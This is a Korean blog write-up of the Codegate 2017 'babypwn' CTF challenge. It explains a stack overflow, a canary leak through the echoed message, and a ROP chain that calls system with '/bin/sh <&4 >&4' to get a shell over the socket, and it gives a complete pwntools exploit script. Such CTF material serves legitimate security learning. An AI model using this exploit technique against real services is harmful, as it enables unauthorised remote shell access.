codegate 2017에 출시되었던 babypwn 문제이다. 단순한 BOF문제 였다.
|
|
핵심 코드는 이 두가지다.
v2 는 ebp로부터 0x34만큼 떨어져 있지만 recv르 100만큼 받으므로 buffer overflow가 난다.
v3은 카나리가 있는 것을 확인할 수있는데 v2를 recv한후 다시 v2를 send로 출력시켜 줌으로 카나리 릭을 할 수 있다.
카나리릭이 된다는 것을 확인할 수 있었다.
이제 카나리 릭이 됨으로 ROP를 이용해서 exploit을 하면 된다.
bss에 "/bin/sh <&4 >&4"(소켓이므로 파일디스크립터를 신경쓰자)를 넣고
system을 호출시켰다. system함수가 구현되어 있어서 릭은 필요가 없었다.(만세)!
exploit은 다음과 같이 구현하였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | # !/usr/bin/env python # powerprove from pwn import * recv_some = 0x8048907 send_some = 0x80488B1 bss = 0x804B1B4 ppr = 0x8048b84 def Echo(payload): s.recvuntil(" menu > ") s.sendline("1") s.recvuntil("Input Your Message : ") s.sendline(payload) s.recvuntil("\n") if __name__ == "__main__": s = remote("localhost", 4000) g = log.progress("hack") g.status("canary_leak") payload = "A"*40 Echo(payload) canary = u32(s.recvuntil("\n")[:-1].rjust(4,"\x00")) log.info("canary : "+str(hex(canary))) g.status("rop!") payload = "A"*40 payload += p32(canary) payload += "A"*12 payload += p32(recv_some) payload += p32(ppr) payload += p32(bss) payload += p32(0x100) payload += p32(0x8048620) payload += p32(0xDEADBEEF) payload += p32(bss) Echo(payload) s.recvuntil(" menu > ") s.sendline("3") s.sendline("/bin/sh <&4 >&4\x00") g.success() s.interactive() | cs |
'CTF > 2017' 카테고리의 다른 글
허스트 CTF pwn write up (0) | 2017.05.31 |
---|---|
DEFCON_2017 beatmeonthedl (0) | 2017.05.07 |
DEFCON - smashme (0) | 2017.05.07 |
[codegate final] petshop (0) | 2017.04.28 |
codegate 2017 - messenger write up (0) | 2017.04.05 |